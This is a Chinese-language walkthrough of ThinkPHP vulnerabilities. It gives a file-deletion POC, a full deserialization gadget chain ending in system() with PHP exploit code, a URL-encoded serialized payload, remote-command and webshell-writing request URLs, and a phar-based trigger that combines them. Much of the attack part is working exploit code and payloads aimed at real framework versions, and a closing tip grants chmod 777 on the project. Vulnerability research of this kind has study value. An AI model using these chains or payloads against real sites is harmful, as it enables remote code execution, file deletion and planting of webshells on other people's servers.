一、任意文件删除
搜索__destruct魔术方法,找到四个,能利用的只有Windows.php中的魔术方法
public function __destruct()
{
$this->close();
$this->removeFiles();
}
追踪removeFiles()
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
发现是一个删除文件的方法,并且参数可控,存在删除任意文件漏洞
POC:
<?php
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes{
private $files = ['/opt/lampp/htdocs/security/upload/shell.php'];
}
$file = new Windows();
echo urlencode(serialize($file));
二、反序列化漏洞
1、搜索关键函数destruct与wakeup两个反序列化一定会触发的魔术方法,wakeup需要进行反序列化时调用,所以先不考虑,搜索destruct,一共四个结果,而能利用的只有Windows.php
继续追踪close(),发现没有利用点,返回来追踪removeFiles(),发现是删除文件的函数,但是file_exists接受的参数是一个字符串,所以查找__toString魔术方法,看看能不能触发,发现一共四处定义了该魔术方法
Paginator.php:
Collection.php:
input.php:
Conversion.php:
但可控点只有三处,排除input.php,剩下的三个继续追踪,Paginator.php追踪后没有发现可利用点,排除,继续追踪Collection.php发现也没有可利用点(至于为什么没有可利用点慢慢探究,锻炼自己的基本功,这里不做详细介绍)所以只剩Conversion.php
toJson->toArray,前面的没有可控点,直接来到下面,代码如下:
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
$item[$key] = $relation->append($name)->toArray();
append为可控点,往下探查是否有利用点,追踪getRelation只是简单返回值,往下走,追踪getAttr,追踪getData,两条路有可控点:
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) { # 可控点一
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) { # 可控点二
return $this->relation[$name];
} else {
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
}
经过分析,发现如果走下面可控点二的话,$this-relation就存在值,如果$relation不为空带入到toArray里面,if (!$relation)进行判断,则会跳过此处,存在逻辑矛盾,所以只剩第一个可控点,继续返回到toArray
$relation->visible($name);
追踪visible发现没有利用点,到这里路段了,回到toArray,是否能通过触发call来继续,所以继续搜索call,搜索出很多结果,但是都是写死了的,没有可控点,只有一处存在可利用的点
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
} else {
throw new Exception('method not exists:' . static::class . '->' . $method);
}
}
hook[$method]与$args都是可利用点,有希望,试图将hook[$method]给定system,$args给定ifconfig,不出意外出意外了,array_unshift函数将$this强行插入到ifconfig前面变成[$this, 'ifconfig'],路走死了?后面的参数不可控,那就在前面做手脚,让前面变成一个数组,call_user_func_array函数调用函数,也可以调用某个类里面的方法,所以我们继续搜索call_user_func_array或call_user_func,发现filterValue方法中
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
$filter, $value两个参数可控,先追踪$filter,来自于filterValue中$filters参数的遍历,所以继续搜索哪里在调用filterValue,总有一个传参的地方,在cookie与input方法中都有可利用点,但是再开始的call_user_func($filter, $value);中,$value来源于filterValue中的&$value,而cookie方法中调用filterValue时,传入的参数为$data,所以最终value的值来源于data,而在cookie方法中data不可控,所以排除了,很多人这里没想明白,我们接下来看input方法中的调用,还是继续探究$filter的值来源
$filter = $this->getFilter($filter, $default);
继续追踪getFilter
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
发现可控点$this->filter,但看注意后面$filter进行了数组转换,因为我们返回到filterValue的参数时必须为一个数组,才能进行遍历,以至于往下走,所以这里我们不要将filter给定一个数组,给定一个字符串类型就行,代码自己帮我们转为数组,$flter搞定了,接来解决$value,value来源于filterValue的第一个参数,老规矩,查找调用filterValue得地方,开始分析过了,value的值来源于input与cookie中的data,而cookie中的data不可控,所以继续分析input,发现data来源于参数data=[],那继续查找调用input的地方,有很多,但是不是每条都用,需分析逻辑上是否存在矛盾,这里就只拿一条举例,感兴趣的可以研究其他为什么走不通,这里拿route中调用input举例,
public function route($name = '', $default = null, $filter = '')
{
if (is_array($name)) {
$this->param = [];
return $this->route = array_merge($this->route, $name);
}
return $this->input($this->route, $name, $default, $filter);
}
这是input中的第一个判断条件,如果name为false,则直接结束,所以不能为false,而route中的name=' ',那就继续追踪调用route的地方,发现直接传入的参数为false,其他很多结果也是类似的,参数不可控导致我们不能够走input,直接return了
{
if (false === $name) {
// 获取原始数据
return $data;
}
只有在param中,可以找到控制name参数值的地方,查找param调用的地方,找到isAjax与isPjax,其实这两处都可以利用,这里就拿isAjax举例:
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
$result = ('xmlhttprequest' == $value) ? true : false;
if (true === $ajax) {
return $result;
} else {
// return $this->param($this->config->get('var_ajax')) ? true : $result;
$result = $this->param($this->config['var_ajax']) ? true : $result;
// $this->mergeParam = false;
return $result;
}
}
这里的参数可控,$this->config['var_ajax']不能为false,所以我们给config['var_ajax']定义为空字符串,这样即可调用param,也不会直接return,为什么是空字符串,别急,肯定有道理的,下面是input中的一个判断条件,如果name为空行字符串,则条件为false,如果不为空字符串,则直接在后面return了,这也就是为什么要为空字符串,而name来源于$this->config['var_ajax'],所以我们要让$this->config['var_ajax']为空字符串
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
到此分析完毕,来梳理一下,查找destruct,追踪到file_exists接收字符串参数,所以继续查找toString,来到Conversion.php中toJson->toArray,发现调用visible,利用call特性,查找call,由于array_unshift($args, $this);导致无法继续,想到控制前面的参数为一个数组,继续查找同类中的其他call_user_func与call_user_func_array,找到filterValue中有利用点,再继续追踪两个参数,input->param,最总追踪到isAjax中调用param
下面是反序列化的POC
namespace think;
class Request {
protected $param = [];
protected $hook = [];
protected $filter;
protected $config = [];
function __construct () {
$this->filter = 'system';
$this->param = ['ip addr'];
$this->hook = ['visible'=>[$this,'isAjax']];
$this->config = ['var_ajax'=>''];
}
}
abstract class Model {
protected $append = [];
private $data = [];
function __construct () {
$this->append = ['xiatian'=>['xia']];
$this->data = ['xiatian'=>new Request()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes{}
class Windows extends Pipes{
private $files = ['/opt/lampp/htdocs/security/upload/shell.php'];
function __construct () {
$this->files = [new Pivot()];
}
}
$w = new Windows();
echo urlencode(serialize($w));
payload:
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A7%3A%22xiatian%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xia%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A7%3A%22xiatian%22%3BO%3A13%3A%22think%5CRequest%22%3A4%3A%7Bs%3A8%3A%22%00%2A%00param%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22ip+addr%22%3B%7Ds%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A8%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
三、非强制路由漏洞
1、执行任意命令
http://192.168.101.51/tp5/public/index.php?s=index/\think\Request/input&filter=system&data=ifconfig
2、上传任意文件
http://192.168.101.51/tp6/public/index.php?s=index/\think\template\driver\file/write&cacheFile=/opt/lampp/htdocs/security/upload/shell.php&content=<?php phpinfo();?>
3、接着上面的反序列化漏洞,存在漏洞,但却没有接口,接下来讲解接口,destruct方法在反序列化后自动调用,但代码中并没有反序列化的代码执行,则想到另一种办法,利用phar反序列化,触发phar反序列化的函数file_exists,file_put_contents,file_get_contents等等对文件操作的函数,在文件操作时,操作完后会调用destruct魔法函数,我们上面的起点就是来自于Windows.php中的__destruct,所以行办法触发他,则查找操作文件类的函数,其实有很多地方,我这里使用的时File.php中的check函数,因为这里直接传参执行,没有多余的操作,省事,那我们就需要构造一个phar序列化的POC,上面POC基础上加上这段POC来达到一个完整的调用链,利用内置的phar实例化一个对象,创建一个phar文件,把这个文件作为参数传入check,就触发了反序列化,进而达到漏洞触发
@unlink('test.phar'); // 删除文件
$phar = new Phar("test.phar");
$phar->startBuffering(); // 开始缓存
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$x = new Windows();
$phar->setMetadata($x); // 会自动执行序列化操作
$phar->addFromString('test.txt', 'test'); // 在phar文件中创建一个文档用来装内容
$phar->stopBuffering(); // 结束缓存
将这段POC与上面的POC结合,这就一条完整的POC
namespace think;
class Request {
protected $param = [];
protected $hook = [];
protected $filter;
protected $config = [];
function __construct () {
$this->filter = 'system';
$this->param = ['ip addr'];
$this->hook = ['visible'=>[$this,'isAjax']];
$this->config = ['var_ajax'=>''];
}
}
abstract class Model {
protected $append = [];
private $data = [];
function __construct () {
$this->append = ['xiatian'=>['xia']];
$this->data = ['xiatian'=>new Request()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
namespace think\process\pipes;
use Phar;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = ['/opt/lampp/htdocs/security/upload/test.php'];
function __construct () {
$this->files = [new Pivot()];
}
}
@unlink('test.phar');
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$x = new Windows();
$phar->setMetadata($x); // 会自动执行序列化操作
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
POC使用:
s:PATHINFO变量名
index模块,文件的路径,然后是方法名,在然后是参数
如果不成功,则是权限不够,导致提前结束代码,无法执行到这一步,直接将该项目,比如我的是tp5,执行下面命令
chmod 777 tp5